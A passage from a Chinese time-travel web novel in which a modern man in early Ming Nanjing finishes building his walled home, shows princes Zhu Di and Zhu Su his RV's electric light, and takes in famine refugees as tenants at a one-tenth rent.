丰满和浓郁的质感,让徐达和汤和都睁大了眼睛。 朱元璋这次算是第二次喝,所以倒还好些。 两人都不可置信地看向了老朱。 “呵呵,这酒如何。” “绝品!” “大哥,这酒从何而来,怎么我们以前都没喝过这么好的酒!” “这酒啊,正是那个朱安宁卖予我的。” —————————————————————— 朱安宁过上了相当规律的生活。 蒯富工程大队,每天来得比鸡叫得还早。 当然,施工的声音,肯定也是比鸡要大的。 所以每天朱安宁都会被迫起床。 好消息是,这般早就开始动工,宅子的进度喜人。 小院落已经建好,围墙也早已合拢,现在就差几个厢房还未竣工。 按照朱安宁的要求,那几片实验田和房车,都被隐藏到了高高的围墙后。 他和朱橚朱棣三人每天勤勤恳恳地耕作,田里也终于给了他们点反馈,番薯苗土豆苗是长势喜人,玉米苗也如期而出,而番茄和辣椒籽却是让朱安宁有点始料不及,基本团灭,只发芽了小部分。 明明已经是按照书本严格操作了。 结果是这样的话,只能说是运气不好或者番茄和辣椒不新鲜。 所幸那小部分苗,现在也活了下来,明初人能不能吃上番茄炒蛋和辣椒炒肉就全看这些苗了。 反正朱棣和朱橚看到只有这些苗的时候,眼都快绿了。 他们可是尝过番茄和辣椒味道的人,尝过才知道珍贵!以后没得吃了还得了?! 两人甚至急红了眼,开始追问朱安宁辣椒和番茄的原产地,嘴上不断念叨着说要打过去那里把种子运回来。 朱安宁那是听乐了,只当是两个小屁孩的中二言论。 随口便敷衍说了坐船能去。 却也换来了朱棣的咬牙切齿,说未来自己怎么地也要去探探这九州之外的地方。 当然了,这些小事朱安宁并未放在心上。 今天又是要进城的日子,隔个三五天就要补充下物资,顺便去城里逛逛,这是朱安宁的安排。 熟门熟路的朱安宁很快就进了城,去到了贩菜的街口。 然后,还未等他买菜,他的注意力就被街口的情报组织给吸引了过去。 那些个老婶大妈们,拎着菜,站在那,除了衣着是古代的,竟也和现代菜市场驻足聊天的大妈们没什么区别。 朱安宁想道。 而真正让朱安宁停下脚步的是她们的话语。 “哎,我那三舅妈的二舅公他大侄子不是在那侯爷家当差嘛,听说好几个侯爷都出事了。” “啊?那些个侯爷不是天天嚣张得紧么?能出什么事啊。” “对啊,前几日有个侯爷又吃酒不给钱,还非礼人家酒家的女人,那酒家老掌柜气不过上去理论了两句,好悬没被打死。这群淮西勋贵……啧啧啧……” 呵呵,淮西勋贵。 这个词朱安宁可没少听过。 电视剧里看过书里也说过,正史野史里对他们的评价都是打天下牛逼,治天下坑逼。 当然,这里指的是那些格局不大的。 其实淮西勋贵里比较重要那几个都是能人。 “所以说啊,这些破事好像都被人抖到朱皇帝那儿去了,还说好几个侯爵和那胡惟庸有关系哩。” “谁敢检举他们啊?不怕他们报复啊?他们这群勋贵最是团结,府尹都治不了他们啊。” “听说是信国公和魏国公。” “啊?他们不也是淮西勋贵么?” “这咱就不晓得哩,听说朱皇帝听闻那些侯爵们不干人事,尽做些丑事后,大发雷霆,夺了他们的俸禄,让他们滚回家里自省去了。” “没杀?” “你想啥哩,那些人都是陪朱皇帝打天下的人啊,能说杀就杀啊。” “也是哦……但是胡惟庸一大家子不都被处死了么?” “那胡惟庸犯的事能比?听说被杀了三族,那叫一个惨啊。” “惨?没杀九族据说还是太子爷拼命劝的朱皇帝哩。” 嗯?又出现不一样的分支点了!!! 朱安宁警醒了起来。 自从他听那伍爷和季爷说刘伯温还没死后,他便知道这个洪武朝可能有点点不一样。 比如现在……这胡惟庸应该是要被杀九族才对啊,怎么才三族…… 而且牵连淮西勋贵,应该是要到洪武后期,朱元璋黑化后才发生的啊。 怎么才这个时期,老朱就开始打压淮西勋贵了? 不过听那些大妈说,好像也没下死手啊。 是不是……这个朱元璋,相对来说要和谐点? 朱安宁摇了摇头,没有再继续想下去。 这关自己屁事啊! 其实他更关心的是,他丢上去的除蝗方法,和水利篇有没有用…… 这才是涉及民生的大事。 那些个淮西勋贵,死不死……关他蛋的事。 第五十五章 院落建成 树底下,于烈日中夺得了些许阴凉,些许光斑定然翻不起什么热浪。 朱安宁换了个更舒服些的姿势,想坐下休息会。 明朝的风,似乎要比现代的更凉爽些。 朱安宁写意地笑了笑。 然后,笑容戛然而止。 无他。 有人走向了他。 是朱橚。 只见他手里拎着一堆植物,笑容满面。 一有空,朱橚就会东挖挖西挖挖,其实那些植物,他都认识。 但是朱安宁教给他的一些概念实在是太有意思,于是他决定重新学习。 “朱哥朱哥,我又找到了新的植物啊,你快看啊,快给我看看这个是什么科什么属……” 此时的朱安宁只想给自己一个大逼兜子。 闲得没事教这伍周科属分类干嘛,这古代人都这么好奇宝宝的么? 小祖宗诶,晚上天天复习也禁不住你这样问啊,太恐怖了吧,这求知欲,有百度倒还好说,这里可没网络啊! 朱安宁好想逃,却无处可去。 “伞形科,水芹属……” “啊,这么简单的命名么?百姓也叫水芹菜,朱哥这个呢。” “伞形科,毒芹属……拿开点……这东西臭,大毒……” “都是伞形科,差别怎么这么大?” “所以不同属啊!” 对话还在继续,朱安宁被问得愈发暴躁。 原因很简单,朱橚的问题愈发难了起来。 他就要招架不住啦。 而朱棣对于这种情况,已经见怪不怪了。 他也知道他这五弟打小就爱钻研这些奇怪的东西,现在有朱安宁这个看起来就靠谱的老师,也就随他去了。 况且他现在正忙! 他正在给那些唧唧冒油的烤肉串撒朱安宁给他的烧烤小料。 几个工匠围在他身边,那口水都要流下来的样子,让蒯富止不住地恼火。 “你们几个,东家请你们吃肉,你们真就是一点活都不干是吧!!!” 放平时,他是不会这么苛刻的。 但是现在是燕王殿下在这里烤肉啊!!! 他又不能告诉这帮憨货眼前的人是燕王……让他们收敛点。 “哎蒯爷,你看这都收尾了啊,啥都建好了,还有啥能干?对了小哥,这做法不算新奇,但是这料实在是香啊……” “西域还是北边那些贼人的香料?” “北边那些贼人能做那么精细?掏几个牛粪饼点着糊弄几下弄熟就吃了吧。” “也是,真新奇的味道,香死人啦!” “啧,有秦淮河边的姑娘香?” “那都香,都香,嘻嘻嘻。” 几人的话题,很快就偏了起来。 于是蒯富,他由恼火变成了惊恐。 在燕王面前聊这些东西,怎么看都不太对劲。 结果朱棣却哈哈笑了起来。 其实明初这批皇子,就没几个是娇生惯养的。 所以朱棣并非没听懂这几个工匠的荤话,只是,他确实是不介意就是了。 而现在烤肉这活,他也不讨厌,或者说他还挺喜欢的。 “哈哈,这是你们东家教我的,我也不知道是哪的料,反正就是好吃!来来来,大家拿下去分了吧,桌那边有烤好的饼,就这一起吃,香!” 朱棣拍了拍手,示意蒯富不要这么紧张,然后又拎起了另外一把腌好的猪肉,开始丢到网上烤了起来。 石头垒成的炉子火力还是很猛的,肉汁滴到下面,溅起一阵灰来,也扬起了阵阵香气。 远处的朱安宁,趁着朱橚趴在那写写画画,连忙跑了回来。 那副样子,着实狼狈。 大概是,朱橚再问多他两个问题,他就要崩掉的那种。 “来来来,我来烤,小燕你休息会……” 于是他连忙给自己找了份工作,避免因为太闲又被缠上。 蒯富见朱棣和朱安宁都如此随性,便也不敢再说什么,只好苦着个脸陪在一旁。 “蒯爷,这些个日子辛苦你们啦,来来来,试试我烤的。”朱安宁随手给了他几串肉,那裹着香料的油润气息,没人可以抗拒。 “诶,谢谢朱公子……建好这房舍是我们应该做的。”于是蒯富也没有再客气,接过了肉串。 他一边吃着,一边不自觉地看向了那耗时不过半旬多些的房舍和院落。 他们现在就在院子里,高高的围墙遮挡住了外面,不远处的房屋已经建好,就差些家具就能住人。 有标准就是快……当然,也是因为朱安宁说了不需要任何雕花和装饰,就是能住,牢固实用就行,他们才能建这么快。 蒯富在心里感叹着。 真正花了他们最多时间的反而是这围墙…… 太长了! 比一般人家的都要长和高。 为什么这么高,大概是为了掩饰这奇怪的带轮子的房舍?还有那田里的是什么苗啊……完全没见过。 蒯富只能在心里想这些问题,问是万万不能问的。 工匠最忌问为什么。 各个朝代墓里的大工匠们都很有经验。 “朱公子,一会我们把太师椅、罗汉床、书桌、书柜之类的家具给弄好,这房子就算完全造好了,工费钱银,伍爷那边已经结过了,您这边就不必再给了。” 压下心中的好奇,蒯富补充了句。 这让朱安宁也抬起了头来。 高高的围墙,崭新的房子,这就是未来自己的家了? 今儿蒯富找到自己说房子已经建好的时候,他还觉得有些魔幻。 现代买个房子他得贷款30年,加大几十万首付,而现在……这一群工匠敲敲敲,就给他弄了套房子…… 这种感觉,说实话,很奇怪…… 不管如何,这房车可算是遮挡起来了,那些实验田也在围墙之下,不必担心被人看见了。 而自己,也有了田地之外的固定资产了。 “好!这些日子,真是感谢诸位了!今儿大家敞开吃,肉管够!”朱安宁对着众人大喊了句,笑得很是开心。 坐在院子里大口吃着肉的众人,连忙吞下口中的美味,一起笑了起来。 “谢过东家!” 这河边的小院落里,充满了烧烤的香气和笑声。 而城外某处。 一群灾民,被聚拢了起来。 开始向土路走来。 领头的人,正是那荣升里长的,戚祥。 第五十六章 明朝的电灯 享用烧烤花不了多少时间,给朱安宁敲好那些最后的家具更是快速,主要是蒯富这群人经验丰富且人数众多。 三下五除二,他们就完成了最后的工作。 最后就是行礼告别。 说实话朱安宁是很感谢这群工匠的。 可惜他现在物资是不敢再胡乱浪费了,只能用一顿咔咔香的烧烤来感谢他们,反正各种科技粉料,他多得很…… 看着消失在小路尽头的一众工匠,朱安宁领着朱橚和朱棣回到了院子里。 他略微激动地走到房里,又走到院落边,甚至还上手摸了摸柱子,又跑到了那两片田上,嘿嘿笑了起来。 “呼,没想到我也有房子了,还带院子和能种菜的地,这简直就是每一个中国人的梦想嘛。” 他感叹了片刻。 然后提高了音调,对坐在房车前的朱棣和朱橚喊了声。 “小燕,小周,来一下。” 两人听见呼唤,也没有迟疑,一阵小跑来到了朱安宁这边。 “你两选房间吧,伍爷和季爷前些日子也说过,一起帮忙耕种的话,还是在这里住下方便些。” 朱安宁说的事情,朱橚和朱棣都是知晓的,所以也没有扭捏,而是开口应道。 “全凭朱哥安排,只不过我和五弟今儿没带衣裳家伙过来,怕是得明日才能住进来。” “也是,被褥都没有,明日我去买?” “不用不用,明日我和五弟自己带就行,不麻烦朱哥。” “好吧……那……”朱安宁沉吟了片刻:“你们就住主卧旁边吧。” “行的,那朱哥您呢?” “我?我还是习惯住原来的地方。”朱安宁呵呵笑着指了指房车。 这些天,朱棣和朱橚也是见惯了朱安宁在那房车那里上上下下,两人都瞄到过里面的装饰……真不是一般房舍能有的感觉…… 只是好奇归好奇,朱安宁没有让他们进去,他们也不敢闯入。 而令他们没想到的是,朱安宁,今天,会让他们进去参观。 “对了,你们就不好奇我住的地方?”朱安宁又继续开了口,那表情有点勾人。 “呃……好奇啊。”朱橚忍不住开了口。 然后自然是被朱棣狠狠地拍了下脑袋:“什么东西你都好奇……” “小燕,别老是欺负你弟,啧……好奇今儿就给你们看看吧。” 朱安宁的想法很简单,接下来这两人就要常住在这里了。 而且据自己这些日子的观察,两人都不是什么奸恶之人…… 但是好像也和地主家的傻儿子区别好大啊。 朱橚这智商和记忆力,放现代那妥妥的尖子生。 而朱棣则性格爽朗,做事稳妥,交代他干什么他都能做好那种…… 这伍老头是祖坟冒青烟了?两儿子都很可以啊…… 反正就目前来看,朱安宁认为朱棣和朱橚,都是信得过的。 要一起住了,自己让他们看看房车里的情况,未来生活也能方便些。 朱安宁领着两人,走到了房车前,打开了生活区的门。 没有迟疑地走了进去。 电脑,打印机这种根本解释不清的东西,早就被他收拾好。 所以朱橚和朱棣,看到的就只有桌子,椅子,和床…… 按两人的看法最多就是材料有些特别的桌子,椅子和床…… 最终把两人目光引过去的,是驾驶舱。 “朱哥这是?好……好奇特啊。” 见两人一脸懵地看着驾驶舱,朱安宁也早就准备好了解释。 “西域装饰!” “西域……西域的那些个小国也带过些物件过来咱这里,也没见过这些玩意啊……” “诶,你们哪知道那么多,西域国家那么多,这是叫欧罗巴的国家那边的物件,就是装饰用的,好看吧。”朱安宁就一口咬定是装饰,反正全凭他一张嘴说。 朱棣和朱橚虽然觉得有点不对劲,但是时代的局限性在他们身上展现得淋漓尽致。 作用不明的东西,说是装饰!很合理! 反正怎么看都不像是武器……或者违禁品。 而令朱安宁没想到的是,又一颗小小的种子,落在了朱棣的心头。 九州虽大,但哪有外面的世界精彩。 寻个空闲时间!一定要让朱哥好好说道说道外面的世界! 朱棣在心中想道。 “朱哥,这……这房舍看起来好小啊,要不你还是住新房舍里吧……”朱橚环视了一周,他们三个人挤在房车里,确实拥挤得很。 朱安宁却也早就意料到了会被吐槽空间小。 毕竟就是个六米长的C型房车而已。 他决定给这两个古代人,整点科技活。 只见朱安宁微微一笑。 拉起了窗帘,房车瞬间黑了不少。 朱棣和朱橚都有些莫名其妙,这大白天的拉帘子干嘛。 然后,朱安宁按下了电灯的按钮。 房车瞬间又亮堂了起来。 “油灯?” “怎么点火的?” “不对,油灯哪有这么亮?!!!” 朱棣和朱橚马上惊叫了起来。 朱安宁则在一边笑而不语,这就是他想要的效果。 “这是太阳灯,我这房舍上方有容器可以暂时存些阳光,待到要用时再放出来。” “这是什么仙术?!!朱哥你是仙人不成?!”朱橚一把拉住了朱安宁,一副要癫掉的样子。 “诶诶,小周你冷静点,我是仙人我还在这里和你们唠?我不回天上去?” “哦……也……也是哦。” “哎,五弟你松松手,莫要那么激动。”朱棣也劝了句。 只是朱棣他自己也没注意到,他手都已经要捏进座椅里面去了。 朱安宁看着眼前的两人,连忙又说了下去:“哎呀没你们想那么神奇,你们想想夏日不也是有照田蚕么,我这灯就和那个差不多,要更亮些而已,而且待哪天阴天了,我这灯说不定就不亮了呢。” 朱安宁举的是萤火虫的例子,也就是想让他们好接受而已。 他可不想解释什么叫电能和太阳能…… “是哦,照田蚕也会发亮……”朱棣和朱橚还是有些懵懵的,总觉得哪里不对劲。 但是朱安宁这一副天天和他们吃吃喝喝,一干活就说累的样子,怎么看也不像是仙人。 也就勉强接受了下来。 正当两个思绪还在混乱的时候,院落外,传来了嘈杂的声音。 “朱老爷,您的佃农我给您带到了,麻烦您开下门。” 是戚祥的声音,他拍了拍门。 第五十七章 院外 戚祥领着呼啦啦一群人,站到了院落外。 那些受灾的百姓们,普遍都是精神萎靡的状态,他们连四处张望的兴趣都没有。 当朱安宁他们打开门的时候,仅有几人抬起了头。 戚祥立马就迎了上去。 “朱爷……”他喊得有些膈应。 首先朱安宁很年轻,其次,他面前的三个人都姓朱。 只是他也保持了基本的职业素养,没有表露表情,而是继续说了下去:“朱爷,佃农给您带来了,上边还专门派了衙门的人过来,帮你签字画押,毕竟人多。” 他指了指远处两个衣着明显要好很多的小吏。 朱安宁看了眼,便也知道了大概就是户部或者应天府的那些负责户帖的人,毕竟现在呼啦啦一大群人要做自己佃农了,没点手续是不可能的。 登记好了,未来好收税嘛。 而眼前这群……和乞丐无异的人,朱安宁是看得多少有些不好受。 他们仅仅只是活着,像行尸走肉般。 扫了一圈,朱安宁连忙拉住戚祥问了起来。 “戚大哥,怎么没看见几个老人啊……孩子倒是挺多。” “朱爷……” 戚祥顿了顿。 “朱爷……他们可是走荒啊,老人……走不到这里的。”戚祥的话语有些沉重。 寥寥几句话,没有什么画面感。 却让两人都同时沉默了起来。 那些老人……是走不到这里的。 所以换来的是,这些孩子走到这里么? 老人和孩子都是需要照顾的,大概……是大部分老人,都选择了把机会,留给那些孩子吧。 连朱棣和朱橚都屏住了呼吸。 “真的这么惨么……”是朱橚在发问。 “旱灾已经三年了,好不容易下了点雨,又是蝗灾,那几个遭灾的地方,说是地方的官吏饿死的都有……仓里是一点粮都没了啊。” “咱们赈灾的粮呢。” “杯水车薪……只能说能救多少就是多少,熬不下来的,自然也就走不到这里了……” 戚祥又是深深地叹气。 “小燕,小周,之前我让你们买的粮,都堆在里面了吧。先搬出来吧……装粮的袋子也提前给他们备好。”朱安宁面色沉重地对身后的两个吩咐了句。 幸好他早有准备。 明初经济可不算特别好,老朱这个老农,明明不懂经济还固执得很……幸好后续的两个皇帝都挺好。 总之想都想得到,这批走荒的灾民,肯定是吃不饱的。 作为正常的现代人……他看不得有人在他面前忍饥挨饿。 虽做不到那位那般nb,帮一帮自己的佃农,总还是有余力的。 “好嘞,五弟,走。” “好。” 两人连忙往院子里跑去。 他们早就已经把粮堆到了先建好的屋子里。 只见那两个小吏,也靠了过来。 他们算不得什么正式的官吏,所以态度也没有多倨傲,就是正常的语气:“朱安宁,朱老爷对吧。我两是过来协助你收这批佃农的,请问现在可以开始了么?” “可以可以,那麻烦两位了。”朱安宁连忙点了点头,然后也回身去院子里,想搬书桌和椅子出来,方便那两个小吏。 没有多少波澜的签字画押,就这般开始了。 朱安宁像个工具人般一直在那按手印,忙活了小半个时辰才搞定这大几十号人,自己两百多亩地,实际分到每户手里,也就户十亩左右。 灾民们也没有好到哪里去,就是麻木地上前,画押,那两个小吏也没有解释任何东西。 太阳又微微下降了些。 总算阴凉了些许。 那两小吏收起了一堆契约,递给了朱安宁。 “朱老爷,契约都在这里了,您这地界的名册我也拟好了,按上面的说法,您这地界人都快接近百十来人了,是要建庄的,您看下叫什么好吧。” “啊?我自己起名?”朱安宁才接过契约,却也被这个说法给整懵了。 “咱两也不清楚,往常都是上面拟个庄名就算了的,今儿是说朱老爷这边愿意接受灾民,大善,所以让您自己起。” 正巧朱棣把最后一袋粮食堆到了院外,他听到那两小吏的话,不由得笑了起来。 “哎,庄的名有多难嘛,隔壁是大田庄,那边是小田庄,我们这地就叫田庄算了。” “小燕,你起名真废啊,你家孩子未来还是不要让你起名吧。”听见朱棣的说法,朱安宁的白眼快要翻到天上去。 而朱橚,也参与进了这个话题的讨论中。 “要不就zhu家庄呗,朱哥按您的姓来,这是您的庄啊。” zhu家庄…… 确实地也都是那个老朱的,所以自己这地叫zhu家庄……是不是嫌命长啊。 只见朱安宁头摇得像个拨浪鼓似的。 沉思了片刻。 朱安宁咧嘴笑了起来。 说不得,自己要对不起城里的某个人了啊。 呵呵。 “两位小哥,我这地界,以后就叫永、乐了。麻烦帮我报上去吧。” 他嘿嘿笑着,对那两小吏说道。 只见那两小吏砸吧了下嘴巴,也笑了起来:“朱爷好文采,这意头不错啊,对了,您这地,头一年是不需要抽粮的,上面交代过,灾民的田,都免收一年。您自己的租,一会也记得写进契约里。” “刚才没填?” “这得由您决定啊。”说完,那两小吏就候在了一旁。 朱安宁也连忙行礼对他们表示感谢。 说不定以后还要跟这些人打交道的,礼多人不怪嘛。 他也没注意到身后的朱棣,在那猛的皱起了眉头。 他总觉得,永、乐这个说法,好吸引人…… 总之,就是个超级好的名字啊! “朱哥,永、乐!好名字啊!!!”于是,他大声抒发了他的感情,顺便把朱橚和朱安宁吓了个踉跄。 “这么大声干嘛……你要开船啊?!”被吓了个大猛子的朱安宁恼火地回头看了朱棣一眼。 却也让朱棣莫名其妙了起来:“朱哥,什么船?大声和船有什么关系?” “哎,没关系没关系,你俩坐下,接下来,我们要给永、乐的百姓们,分一分这些米了!” 第五十八章 圣人 朱安宁特意说得很大声。 “分粮?”那人群终于不再死气沉沉,多少有了些骚动。 被迫背井离乡来到这里,被安排做佃农,不过是想活下去而已。 看着终于有了点反应的人群,朱安宁也是舒了口气。 如果连分粮,都激不起他们的反应,那这群人也就是行尸走肉了吧。 幸好,还有生存的本能。 不只是那群灾民有了反应,连戚祥也惊讶了起来。 刚才就看着燕王和周王进进出出,在那把粮食给扛出来。 原来真的是要分? 这朱安宁还真是善人啊。 而那两个候在一边的小吏,也是抬眼看了下朱安宁,惊讶的表情是掩饰不住的。 这地主不是只收粮的么?怎么今儿还派粮了?真稀奇。 而朱安宁也没有管他们的想法,而是对着刚才小吏交给他的名单,看了眼。 然后走到了众人的面前。 “今儿每人领一石的粮,小孩减半,一会来我这登记!” 他大声地宣布道。 而此时的灾民们也终于绷不住了。 他们比戚祥和那两个小吏更加难以置信。 但是看这年轻人,是真要分粮啊。 几个年纪稍微大的大叔,没有多犹豫,立马就跪在了那里,开始磕起头来。 粮,就是他们的命。 现在,有人要给他们命了。 在几个大叔的带领下,其他人也没有多犹豫,也是一下就跪了下来。 这可把朱安宁看呆了。 “你们干嘛……拿粮啊!” 他哪受过这种礼,想都没想,就往旁边躲去。 最后还是戚祥出了手。 他无奈地走了过去,搀扶起了几个人,然后示意他们去朱棣朱橚所在的桌前登记。 戚祥怕那几个人走两步又要跪,还连忙补了句:“再跪就不给了啊。” 听着这话,灾民们才陆陆续续起了身。 开始排队。 待到拿到粮的时候,又是一阵千恩万谢。 “阿爹,是不是有了这些粮,我们就不用像爷爷那样饿死了。” 有小孩,在陪自己父亲接过粮食的时候,突然开了口。 这让所有人都沉默了下来。 包括排队的人。 刚才还露出喜悦表情的他们,突然又蒙上了一阵哀愁。 不必说,家家户户,应该都有人因灾而亡…… 朱安宁伸出了手,也没管那孩子头发还脏,摸了摸。 “再等等,咱们不会再挨饿的了。” “真的吗?” “必须的。” 粮食的分发花不了多久。 灾民们总算是找回了点精气神。 朱安宁也趁分粮这个机会,再次点了点这群人的情况。 小孩真的不算少,青壮年劳动力,没想象中的多…… 看见分好粮,戚祥又一次走上前来:“朱爷,您还没和他们说你的租呢,然后一会我还得让人给他们工具和材料,让他们开始挑地方建自己的草房啊。” “哦,对对对,租这事我都忘了。”朱安宁拍了拍脑袋,又走到了众人面前。 清了清嗓子。 “我的地,十抽一。” 现场的所有人,都张大了嘴巴。 包括灾民,连他们手里的粮,都掉到了地上。 发出了沉闷的声音。 ———————————————— 宫殿里,刘伯温和朱元璋正在商量着事情。 陪侍太监突然进来对朱元璋耳语了几声。 只见老朱一脸见了鬼的表情,迟迟说出不话来。 这让刘伯温好是好奇,能有什么事情能让这经历过血与海的君王如此失态。 只见朱元璋站了起来,踱了下步子。 才开的口:“让他们进来。给我说说是不是真的。” 那太监听见朱元璋的话,也连忙行了个礼退了出去。 不多时,朱棣和朱橚就走了进来。 看着就是赶回来的样子,衣裳都没换,多少带点臭汗。 朱元璋也不是在乎这些的人,他大手一挥,让他的两个儿子坐下,然后连忙开口问道。 “分粮了?” 这话有点没头没尾,但是在座的人都知道朱安宁是给灾民们准备了粮食的,所以也不意外,也就是确定一下而已。 “分了,每人一石。” “嗯,够吃一个月了,可以可以,再加上咱给的,能吃的很好了。” “朱哥他打算下个月还给……” “……呃……”老朱一时有些噎住:“这么大方啊……不对,这不是关键。” 只见老朱又站了起来,他盯着朱棣,沉声问道:“你刚才让人进来通报说的事情是真的?” 朱棣和朱橚哪敢怠慢,连忙点头。 “真。” 朱元璋看着点头如小鸡啄米似的两个儿子,不由得长长地叹了口气。 “若是当年,我能有这样的……何至于说去拼命啊……” 刘伯温听见朱元璋的感叹,更是一脸疑惑。 结果还未等他发问,朱元璋便先对他问道。 “诚意伯,你收租几何。” 朱元璋知道刘伯温已经是对农民很好的清官,说他为名也好装模作样也好,他确实是不会为难农民的人。 “陛下,臣的田,十收三……”刘伯温被问得莫名其妙,却也只能老老实实地回答。 他的十收三,已经是极低极低。 所以他的清廉,也是京城内人尽皆知的。 甚至还发生过收的租太低,而导致他两个儿子抱怨说家用不够难以为继这种事情。 大部分人收租都是十收五左右,要是赶上些脑子不好使的淮西勋贵,抽成更高的也不是没有。 所以虽然老朱收的皇粮不高,实际上很多佃农,还是过得很苦,只能勉强过活那种。 听见刘伯温的回答,朱元璋笑着摇起了头来。 十收三啊,已经很离谱了。 所以,这朱安宁的十收一……是个什么玩法呢? 老朱坐回了位置上,是真的笑了起来。 “诚意伯,那朱安宁的田,十收一……” 朱元璋说的声音不大,却震得刘伯温脑瓜子嗡嗡响。 “什么?!”他也如朱元璋刚才那般站了起来。 “十收一他怎么生活……不过他现在孤家寡人一个……也不对,十收一……属实是……这属实是……”刘伯温说了半天,最终是长长地叹了口气:“这才是圣人罢。” 第五十九章 农事篇 朱安宁是不是圣人,这个问题是毋庸置疑的。 他肯定不是啊…… 这只是一个比较有现代道德的正常人而已。 你要问他捡100块钱乐不乐,他立马能去吃顿好的。 但是捡了一万块钱,他就会老老实实还失主那里了。 所以当领完粮的灾民们,听到他的十抽一,然后跪在那里久久不肯起来之时,他是很蛋疼的。 附加条件还没说啊! 都跪下了! 这让自己怎么开口啊! 跪就跪,别跪这么久啊…… 一大群人,哭得鼻涕横流地在那里……话到嘴边,说要提点要求的想法,就此被他压了下去。 哎,日后再说吧,反正这小破庄子的基础设施建设,也急不来。 挥手打发了朱棣朱橚两兄弟回去,又让那戚祥领人去实地分地后,朱安宁回到了院子里。 他,蹲到了存粮的房间里,一脸蛋疼。 “这米……派得有点快啊……原来还以为一百两银两是什么巨款……哎,不行再买点茅台给那伍爷他们吧,他们是大地主。要是这个年代也能打地主分田地就好了……” 摇了摇头,朱安宁走到了院落里,然出了门。 远处是热火朝天的干活场景。 大几十号的人虽然有部分是小孩,但是搭建临时的住所是花不了多少时间的。 朱安宁已经看到了他们建好了勉强可以过夜的那种临时住处。 难就难在,他们现在要搭能久居的茅草房。 戚祥正在那里指挥着众人搬运草料木材一类的东西。 想必也是上面派发下来给他们用的吧。 话说这个里长真不错,又肯帮忙,好像还和上面关系不错。要是未来自己发达了,能有这样的管家就好了。 朱安宁只是看,他可没有想过去帮忙的想法…… 就他的手艺,只能是……那种手艺活,搭茅房这种正经的手艺活他可不会。 回到房车里的朱安宁,只能继续,看书。 唯一让他舒服点的是,围墙很高,门也关好,他终于可以敞开,使用房车了。 不必每次都要拉上各种帘子。 “这就是有家的感觉啊,蛮不错的嘛……” 夜幕很快降临。 不必再遮掩灯光,朱安宁爽快地,给自己整了蛋炒饭,顺便,奖励了一罐啤酒。 他不敢多喝,啤酒喝一罐少一罐小事,最重要的是,他晚上有要紧的事。 ———————————— “我靠,都八点多了。作孽啊……蒯富他们呢?”朱安宁揉了揉眼睛,然后也反应了过来:“呃,房子建好了啊……” 在床上伸了个懒腰的他,舒服地吐了口气:“终于有一天能睡久点了……蒯富那群人越来越早,真是够卷的……就这么想快点完工么……” 梳洗不需要花多少时间。 他很快就下了车。 然后,发现朱棣和朱橚两兄弟居然还没到。 “这也不对啊,两兄弟平日都是七点多就到了啊……”他喃喃自语着,然后发现了一个很重要的事情……他没开门。 当手忙脚乱的朱安宁把那有些沉重的大门打开的时候,他看到了拖着一堆包袱的朱棣和朱橚。 两人蹲在门口的样子,无奈中带点忧郁,直到朱安宁出现,他两才转忧为乐。 “朱哥你可算开门了……我两都被庄里的人盯了半天了……”朱橚嚎了两声。 却也被朱棣怼道:“行了行了,进去再嚎,被人看猴似地盯了一早上,你还嫌不够丢人是吧……” 朱安宁知道这哥俩大概是委屈了,也连忙帮他们拎了下包袱。 “我去……你俩是怎么扛这堆东西过来的。” “那个戚祥,戚叔帮了下我们。” “啊?你们认识啊。” “算是认识吧。”朱棣一边回话,一边把东西拎到了屋内,然后松了口气。 总算不用被当猴盯着了。 “行了行了,你俩去收拾屋子吧,接下来就住这了,不用进不了门被人当猴看了。”朱安宁也是哈哈了两句,掩饰自己晚起的尴尬。 “对了,你俩吃过早饭没?”朱安宁又突然想起了什么似的,对屋里喊了句。 “没呢!” “吃啥?” “我要泡面!!!” “我也是!!!” “不是……你们……哎,算了,泡面就泡面吧。” 朱安宁有些无语,却也不太敢拒绝,毕竟他才把两人晾在外面等了许久。 只是泡面量有限,他已经想好怎么抠物资了。 他转身回到了车内,拿出了两包泡面,然后只放了一份面的调味料下去,另外一包面的,被他收了起来。 然后,狠狠地兑水…… 一锅水煮了两包面不止,他还用剩下的汤汁又煮了一份自己挂面。 装进了三个大碗里。 在屋内忙活完的朱棣和朱橚,闻着那方便面的香味,那是美滋滋地冲了出来。 “开饭开饭……”朱棣连蹦带跳地跑到了朱安宁的身边,凑了过去,像吸那些什么似地狠狠地吸了一口:“哇,就是这个味……” 朱橚也止不住地开心。 中午的吃食,这段日子都是在朱安宁这边吃的。 那可比光禄寺和自己府里的厨子煮的好吃多了。 各种奇怪的调味料一撒,那是真的香。 两人也没有客气,捧着碗就吃了起来。 “哎,年轻就是好,吃得多……”朱安宁又感叹了一声,然后才拿起自己的碗来。 “朱哥,味有点淡啊。” “确实。” “你俩吃那么闲干嘛,老了不怕风病啊!” “啊?咸淡和风病有关?” 朱棣一脸懵逼。 朱橚却饶有兴致。 那是朱安宁看到就怕的表情。 他知道有人又想刨根问底了。 “诶……那个啥。”于是,他慌忙开始转移话题:“吃完了就看看这两份东西。” 他慌忙跑回了车里,拿出了已经抄了许久的《农政全书》的农事篇章,一式两份。 权当是练字的东西,用的也是明朝的纸,省得继续浪费打印机的纸墨。 朱橚被打断了提问,却也不恼,他和朱棣一起接过朱安宁的手抄书,开始扫视起来。 “朱哥,这是?” “一些农事的总结……呃,也是我师傅留给我的,我师傅说,咱这几十年不是打仗就是打仗,农事落后许多,这书,能帮上大忙!” “又是那位徐师傅?” “对对对……” “上面写得很多法子,好像是不错啊,但是说起耕作,直接找那群佃农商量不是更好?” 朱棣砸吧了下嘴巴,只觉得刚才的泡面确实淡,怕不是朱哥没舍得下料,真抠! 等自己有了封地,一定要想办法组建队伍,去找这些香料回来! 第六十章 安静的人群 “不急,找他们是肯定要找的。” 朱安宁听见朱棣的话语,笑了笑,继续说了下去:“这些法子,你我都没有验证过,是否真的有用,当然,有些法子就是我们现在在用的,那不需要去辩驳,但是有部分,他们没用过的,你觉得他们会听我们的话么?” “那怎么办……朱哥你就是想验证一下这下法子的,对么?” “要说全部验证也是不可能的,你看现在都什么日子了,能种这一季的稻,都是奇迹了,咱们就一点点慢慢去试就好啦。”朱安宁顿了顿,看了眼那不远处存粮的房间,叹了口气:“其实昨日,我就是想跟大伙说,十收一是有条件的,那就是必须要按咱的方法去耕作,结果呼啦啦一圈人跪在那里哭……我没好意思说……” 朱安宁一摊手,也是有些无奈,昨天说效果是最好的,今天再去和他们说,怕就是有变数。 “要不找戚叔商量下?” 